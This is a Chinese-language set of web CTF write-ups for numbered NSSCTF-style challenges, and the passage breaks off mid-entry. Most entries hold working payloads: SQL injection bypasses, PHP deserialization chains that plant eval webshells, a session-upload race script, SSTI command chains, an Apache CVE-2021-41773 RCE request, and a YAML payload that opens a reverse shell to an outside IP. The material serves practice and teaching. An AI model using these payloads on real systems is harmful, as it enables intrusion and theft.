绕过空格使用/**/,绕过等于号使用like,绕过大于小于号使用least()和greatest(),绕过subtstr()使用mid,绕过in使用like(‘admi%’),这只是和题目无关的相关积累,非预期解1是phpmyadmin有后台

预期解是Qunie构造,也就是输出自身,mysql语句有

1
REPLACE(str,old_string,new_string);

对字符串进行搜索替换,构造字符串S

1
2
3
REPLACE('A',B,'A')
A为原字符串
REPLACE("B",B,"B")

就得到S:

1
REPLACE('REPLACE("B","B","B")',B,'REPLACE("B","B","B")')

然后将S替换后

1
REPLACE('REPLACE("B","B","B")',REPLACE("B","B","B"),'REPLACE("B","B","B")')

S中间那个B也被替换了,这不满足需求,使用编码处理,

1
2
3
4
5
REPLACE('A',B的编码,'A')
其中A为原字符串
REPLACE("B",B的编码,"B")

REPLACE('REPLACE("B","B的编码","B")',B的编码,'REPLACE("B","B的编码","B")')

接下来还有单双引号的问题,A字符串使用单引号会提前闭合,使用双引号就会造成不匹配,可以依次replace让双引号替换为单引号

1
2
S:REPLACE(REPLACE('A',CHAR(34),CHAR(39)),B的编码,'A')
A:REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")

34和39是双单引号的ascii保证了S替换后还是原来的串

1
S:REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")',CHAR(34),CHAR(39)),B的编码,'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")')

让B等于字母B,CHAR(66),payload:

1
2
3
4
5
6
7
S:
'/**/union/**/select/**/REPLACE(REPLACE('A',CHAR(34),CHAR(39)),CHAR(66),'A')#
A:
"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#


'/**/union/**/select/**/REPLACE(REPLACE('"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#

76.[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

payload:?file=php://filter/read=convert.base64-encode/resource=/flag

77.[SWPUCTF 2022 新生赛]奇妙的MD5

payload: /f1na11y.php POST:wqh[]=1&dsy[]=2

78.[天翼杯 2021]esay_eval

exp:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $code = "eval(\$_POST[cmd]);";
}
class B{
public $a;
}
$a = new B();
$a->a=new A();
echo serialize(($a));

由于要绕过类A的__wakeup,所以A类成员数需要改成大于实际成员数,并且为了绕过waf,利用的是php类大小写不敏感特性

1
2
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:18:"eval($_POST[cmd]);";}} //原payload
O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:18:"eval($_POST[cmd]);";}} //实际payload

打完蚁剑连接,无法进入根目录,需要提权,WP发现的是有redis服务,把主从复制的exp.so上传到web服务器目录下,蚁剑下载redis管理的插件,连接redis shell输入exp.so里的密码即可提权

79.[HNCTF 2022 Week1]What is Web

扫目录有个/flag.php没啥用

F12的注释<!--f|l|a|g|is|base64decode(TlNTQ1RGe0hlbGwwX1dlYmVyX1dlYzBtM19jb21lXzJfd2ViX3cwcjFkIX0=)-->

80.[第五空间 2021]EasyCleanup

rce的waf很死,考虑通过session进行文件包含。php5.4后添加session.upload_progress,上传文件时php会把上传的详细信息存储到session中,根据此特性可以将恶意代码写入session。

查看phpinfo,session栏有一些关键信息:

Directive value Discription
Session Support enabled 开启session机制
session.auto.start Off On时接受请求自动初始化,无需session_start(),默认都关闭;
session.name PHPSESSID
session.save_path /tmp 如果没有配置则不会生成session文件
session.upload_progress.cleanup On 默认为on,文件上传结束时删除上传进度,导致需要使用条件竞争
session.upload_progress.enabled On off时就无法使用这个办法了
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS 使php报告上传进度,该值可控
session.upload_progress.prefix upload_progress_ 加上name表示为session的键名

此外,session.use_strict_mode默认也为off,此时可以自定义sessionID如r4iny,这个时候服务器会创建这样一个文件:/tmp/sess_r4iny即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import io

import requests
import threading # 多线程

from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://node4.anna.nssctf.cn:28899/'
file = 'r4iny.txt' # 上传文件名
f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长


def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

81.[HNCTF 2022 Week1]Interesting_http

数据包:

1
2
3
4
5
POST / HTTP/1.1
Cookie: user=admin
X-Forwarded-For: 127.0.0.1

want=flag

82.[WUSTCTF 2020]朴实无华

/fl4g.php

第一套:intval()使用不当,intval(‘1e10’)=1;intval(‘1e10’+1)=141065409

第二套:经典md5,0e绕过0e215962017

第三套:过滤了空格和cat,使用${IFS}和tac

payload:/fl4g.php?num=1e10&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

83.[LitCTF 2023]Flag点击就送!

脑洞题,secret_key为LitCTF,flasksession伪造

python3 flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'

84.[NISACTF 2022]is secret

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)
#输入内容:{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

85.[NISACTF 2022]middlerce

PRCE回溯绕过限制;使用反引号执行命令,短标签执行php。

exp:

1
2
3
4
5
6
import requests

payload = '{"cmd":"?><?=`tail /f*`?>","$":"' + "$"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28713/", data={"letter":payload})
#print(payload)
print(res.text)

86.[SWPUCTF 2022 新生赛]1z_unserialize

exp:

1
2
3
4
5
6
7
8
<?php
class lyh{
public $lt = 'system';
public $lly = 'cat /flag';
}
$a = new lyh();
echo serialize(($a));
//O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

87.[SWPUCTF 2022 新生赛]numgame

call_user_func的要点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//1.调用函数
function a($value){
echo $value;
}
call_user_func('a',"b");

//2.使用命名空间
namespace a;
class A{
static public function b(){
echo "123";
}
}
call_user_func(__NAMESPACE__.'A::b');
//另一种形式
call_user_func(array(__NAMESPACE__.'A','b'));

//3.对call_user_func使用类方法
class B{
static function c(){
echo "456";
}
}
call_user_func('B::c');
//另一种形式
$b = new B();
call_user_func(array($b, 'c'));

F12查看1.js发现 NSSCTF{TnNTY1RmLnBocA==},内容解b64得到NsScTf.php,根据提示访问hint2.php

1
有没有一种可能,类是nss2

hint1可以使用post传参

最终payload:

1
2
POST
p=nss2::ctf

88.[HUBUCTF 2022 新生赛]HowToGetShell

无字母getshell,构造phpinfo

payload:mess=$_=("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60");$_();

相当于先执行$_=phpinfo然后调用$_(); -> phpinfo();

89.[NISACTF 2022]join-us

tt=1'a()#回显FUNCTION sqlsql.a does not exist报错得到数据库名为sqlsql

extractvalue()没有被禁用,使用报错注入

1'||extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like('sqlsql'))))#

回显XPATH syntax error: '~Fal_flag,output',即有Fal_flagoutput两个表

column被禁用时使用join绕过

1'||extractvalue(0,concat(0x7e,(select * from (select * from output a join output b) c)))#

回显Duplicate column name 'data'

1'||extractvalue(0,concat(0x7e,(select data from output)))#

回显XPATH syntax error: '~NSSCTF{28285739-bad7-4970-8d...'

mid拼后半段1'||extractvalue(0,concat(0x7e,mid((select data from output),20,60)))#

90.[NSSRound#4 SWPU]1zweb

直接查询/flag

91.[SWPUCTF 2022 新生赛]where_am_i

flag in /ending.php

92.[SWPUCTF 2022 新生赛]ez_ez_unserialize

exp:

1
2
3
4
5
6
7
8
<?php
class X{
public $x = 'fllllllag.php';
}
$a = new X();
echo serialize(($a));
//O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}绕过__wakeup
//O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

93.[GDOUCTF 2023]

1
2
pip3 install fenjing
python3 -m fenjing webui

焚靖CTFssti通杀

94.[HNCTF 2022 WEEK2]easy_include

nginx可通过UA传一句话,访问日志文件触发木马,nginx的日志位置:/var/log/nginx/access.log

1
2
3
4
5
6
7
8
9
10
GET /?file=/var/log/nginx/access.log&cmd=system('cat /ffflllaaaggg'); HTTP/1.1
Host: node5.anna.nssctf.cn:28665
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <?php @eval($_GET['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

95.[SWPUCTF 2021 新生赛]hardrce_3

自增payload

1
2
3
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

//eval($_POST[_]);

不知道为什么写马写不进去,用这个直接读flag就行了

1
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

96.[SWPUCTF 2022 新生赛]js_sign

F12,敲击码33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15去除空格

反查解码

3343431344215434452124331421311122125444113513341415

NSSCTF{youfindflagbytapcode}

97.[HNCTF 2022 WEEK2]ez_SSTI

焚靖一把梭,flag就在当前目录下

98.[GDOUCTF 2023]反方向的钟

construct可以自己重写的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class teacher{
public $name;
public $rank;
public function __construct(){
$this->name = 'ing';
$this->rank = 'department';
}
}
class classroom{
public $name;
public $leader;
public function __construct(){
$this->name = 'one class';
$this->leader = new teacher();
}
}
class school{
public $department;
public $headmaster;
public function __construct(){
$this->department = new classroom();
$this->headmaster ='ong';
}

}
$a = new school();
echo base64_encode(serialize(($a)));

之后使用php原生类SplFileObject执行文件读取a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

99.[SWPUCTF 2022 新生赛]xff

X-Forwarded-For: 127.0.0.1

Referer: index.php

100.[MoeCTF 2022]baby_file

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

101.[CISCN 2019初赛]Love Math

二次传参rce

16进制只能构造到字母f,36进制可以构造所有的字母。

dechex:把10进制转换成16进制,_GET的16进制是5F474554,转换成10进制是1598506324

base_convert(num,10,36)把10进制转换成36进制

16进制转换成字符串,需要hex2bin函数

使用base_convert构造出hex2bin,hex2bin作为36进制的数,转换为10进制是37907361743

base_convert(37907361743,10,36)(dechex(1598506324))

得到的结果就是_GET

使用变量pi来保存base_convert的结果,形式是$pi

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

编译一下,?c=$pi=_GET;

那么$$pi就是$_GET

$$pi{pi}就是$_GET{pi}也就是$_GET[pi]

那么$$pi{pi}($$pi{abs})也就是最上面的$_GET[1]($_GET{2}),1和2在本题会被过滤,使用合法的代号piabs,尽量选择短的,因为payload长度不能超过80

102.[NSSRound#8 Basic]MyDoor

文件读取flag.php失败,尝试读取index.php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];

if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}

php的特性,N[S.S会解析成N_S.S

payload:?N[S.S=phpinfo();&file=1

103.prize_p5

非预期:SplFileObject绕过waf,类大小写不敏感(改为大写S)

O:9:"catalogue":2:{s:5:"class";s:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}

?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}

预期:序列化字符串逃逸

name=test&phone[]=NSS&email=test

O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:4:"test";}

目标:";}s:5:"email";s:5:"/flag";},一共28个字符,就需要使用hello触发waf的替换,hello变hacker,就可以多一个字符出来了,要28个hello

hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}

O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:168:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"email";s:5:"/flag";}";}s:5:"email";s:4:"test";}

payload:

?cata=1 POST name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test

104.[NCTF 2018]flask真香

/后面直接接的就是注入点,无需参数,fuzz存在以下黑名单

1
2
3
4
5
class
getattr
builtins
import
os

使用字符串拼接绕过,查询子类

{{()['__cla''ss__'].__bases__[0]['__subcla''sses__']()}},得到大量子类

寻找warnings.catch_warnings子类的下标:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import json
classes="""
[<class '_bz2.BZ2Decompressor'>, ...
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "warnings.catch_warnings" in v:
print(str(k)+"--->"+v)
#117---> <class 'warnings.catch_warnings'>

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

105.[LitCTF 2023]就当无事发生

进入出题人博客->关于我->github->进入ProbiusOfficial.github.io查找归档文件里的flag,但是现在已删除,只能在wp里找到

106.[SWPUCTF 2022 新生赛]ez_sql

双写绕过,/**/绕过空格

POST:nss=2'/**/ununionion/**/select/**/1,database(),3;#

得到NSS_db,回显位在2和3,但后续注入要在3

nss=2'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

nss=2'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

2'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_tb;#

107.[HDCTF 2023]YamiYami

非预期:file:///proc/1/environ

预期:session伪造+yaml反序列化,当前目录在/app,尝试读取/app/app.py,可以使用二次url编码绕过waf

/read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#encoding:utf-8 
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__) random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return ''' Welcome to HDCTF2023 Read somethings
Here is the challenge Upload file Enjoy it pwd
'''

@app.route('/pwd')
def pwd():
return str(pwdpath)

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")

@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run( debug=False, host="0.0.0.0" )
print(app.config['SECRET_KEY'])

在/boogipop路由下是getflag的主要逻辑,session伪造+yaml反序列化,先需要知道secret_key,在/sys/class/net/eth0/address,再用脚本解密,修改,再加密

02:42:ac:02:9e:d3

1
2
3
import random
random.seed(0x0242ac029ed3)
print(str(random.random()*233))
1
2
3
4
5
6
7
8
python3 flask_session_cookie_manager3.py decode -s 137.52056192943886 -c 'eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZO_r9w.mAjNdzv1Oe15iXPs7n6g0rSK02A'
{'passport': 'YamiYami'}



#按照题目要求修改passport为Welcome To HDCTF2023
python3 flask_session_cookie_manager3.py encode -s 137.52056192943886 -t "{'passport':'Welcome To HDCTF2023'}"
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZO_xQw.MOIAYyIci-lbAAe3YSHa_4WH-8s

伪造session完成,接下来处理yaml反序列化,利用的是yaml.full_load(f),exp:

1
2
3
4
5
6
7
8
9
10
#2.txt
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/8.130.68.224/8888 <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

upload处上传,修改session为伪造的值,开启端口监听。进行文件包含:/boogipop?file=uploads/2.txt

反弹shell,cat /tmp/flag_13_114514

108.[NCTF 2018]滴!晨跑打卡

/**/被过滤使用%a0代替,#被过滤正常闭合处理

绕空格的一些常见方法如下:

1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

使用bp发包,请勿在浏览器操作

?id=1%27%a0union%a0select%a01,table_name,3,4%a0from%a0information_schema.tables%a0where%a0table_schema=%27database()%27%a0||%27

和原题不一样的是在这个地方会回显查询语句本身,通过回显可以看到表名是pcnumber

/?id=1%27%a0union%a0select%a01,column_name,3,4%a0from%a0information_schema.columns%a0where%a0table_name=%27pcnumber%27%a0||%27

最终payload:

?id=1%27%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0pcnumber),3,4%27

109.[SWPUCTF 2022 新生赛]webdog1__start

F12看到提示,简单的md5比较,传web=0e215962017

进入下一层,F12看到robots提示->f14g.php

响应包头Hint:oh good job! but no flag ,come to F1l1l1l1l1lag.php

限制payload长度为18字符,较短的cat是\t,较短的{IFS}是\t,然后通配符*去模糊匹配flag

?get=system("nl\t/f*");

110.[GXYCTF 2019]BabySqli

F12有段b32->b64,得到

select * from user where username = '$name'

提交数据的post参数为name&pw

大小写绕过waf:name=admin'oRder by 4#&pw=1

name=admin时报错wrong pass

提交pw为数组时报错md5

payload:name=admi'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

111.[NSSRound#4 SWPU]ez_rce

CVE-2021-41773,Apache HTTP Server 2.4.49目录穿越漏洞,<Directory />Require all granted</Directory>默认开启,允许目录穿越,此外如果服务端开启了gi或者cgid这两个mod的情况下,利用该漏洞还将可以执行任意cg命令

poc:/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd

RCE:POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh A=|echo;cmd

112.[BJDCTF 2020]ZJCTF,不过如此

payload1:/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

代码逻辑就是执行eval('strlower("\\1");'),正则是e模式。存在漏洞:e模式下preg_replace可以让第二个参数当做代码执行;正则表达式模式两边添加{}会将相关匹配存储到一个临时缓冲区,从1开始排序,而\\1就正好会匹配到第一个变量,传入\S*=${phpinfo()}正则就是preg_replace('/('.\S*.')/ei','strlower("\\1")',phpinfo());临时缓存区:/S*==>phpinfo();strlower("\\1")匹配第一个,就执行了phpinfo()。

payload2:?\S*=${phpinfo()}

113.[鹏城杯 2022]简单的php

1
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)

[^\s\(\)]+? 表示不匹配所有空白符和() 一次或多次

\((?R)?\) 表示循环匹配() 一次或0次,从这一点就需要使用二维数组绕过

无参函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#主要
getallheaders()
get_defined_vars()
session_id()

#配套
implode() //将一维数组转化为字符串
getchwd() //返回当前目录
scandir() //返回指定目录中文件和目录的数组
dirname() //返回路径中目录的部分
chdir() //改变当前目录
readfile()//输出一个文件
current() //返回数组当前单元,默认取第一个值
pos() //current()的别名
next() //将函数内部指针指向数组中的下一个元素并输出
end() //将内部指针指向数组中最后一个元素并输出
array_rand()//函数返回数组中的随机键名,如果返回不止一个键名,则返回包含随机键名的数组
array_flip()//用于反转/交换数组中所有键名和关联的键值
array_slice()//在数组中根据条件读取出一段值并返回
array_reverse()//返回反转顺序的数组
chr() //ascii转字符
hex2bin() //16进制转二进制串
getenv() //获取环境变量,7.1后可以
localeconv()//返回一个包含本地数字及货币格式信息的数组

二维数组拼接注意的点:必须用[!%FF]进行分割

payload:system(end(getallheaders()));->(~%8C%86%8C%8B%9A%92)[!%FF]((~%9A%91%9B)[!%FF]((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)[!%FF]()));

数据包:

1
2
3
4
5
6
7
8
9
10
11
GET /?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())); HTTP/1.1
Host: node4.anna.nssctf.cn:28147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BD_UPN=12314753
Connection: cat /nssctfflag

114.[HGAME 2023 week1]Classic Childhood Game

F12

Event.js -> function mota -> var a =['\x59...']

1
2
3
4
5
s = '\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'
print(s)
#YUdkaGJXVjdabFZ1Ym5sS1lYWmhjMk55YVhCMEprWjFibTU1VFRCMFlVYzBiV1Y5
#base64 decode -> aGdhbWV7ZlVubnlKYXZhc2NyaXB0JkZ1bm55TTB0YUc0bWV9
#base64 decode -> hgame{fUnnyJavascript&FunnyM0taG4me}

115.[NISACTF 2022]hardsql

Quine注入,详见75题,此处waf禁用了char,可使用chr和0x替换

char(34)=chr(34)->0x22

char(39)=chr(39)->0x27

116.[安洵杯 2020]Normal SSTI

fenjing一把梭

117.[MoeCTF 2022]ezhtml

F12 evil.js

118.[SWPUCTF 2022 新生赛]funny_php

使用数组绕过strlen,双写绕过正则置空,强碰撞字符串

payload:GET传?num[]=1&str=NSNSSCTFSCTF POST传 md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

119.[HNCTF 2022 WEEK2]ez_ssrf

ssrf,但是遇到个很想不明白的点

1
2
3
4
5
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close


b64结果是

1
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQpIb3N0OiAxMjcuMC4wLjEKQ29ubmVjdGlvbjogQ2xvc2UKCg==

打过去是400,正确的结果应该是

1
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

解出来是

1
2
3
4
5
GET /flag.php HTTP/1.1
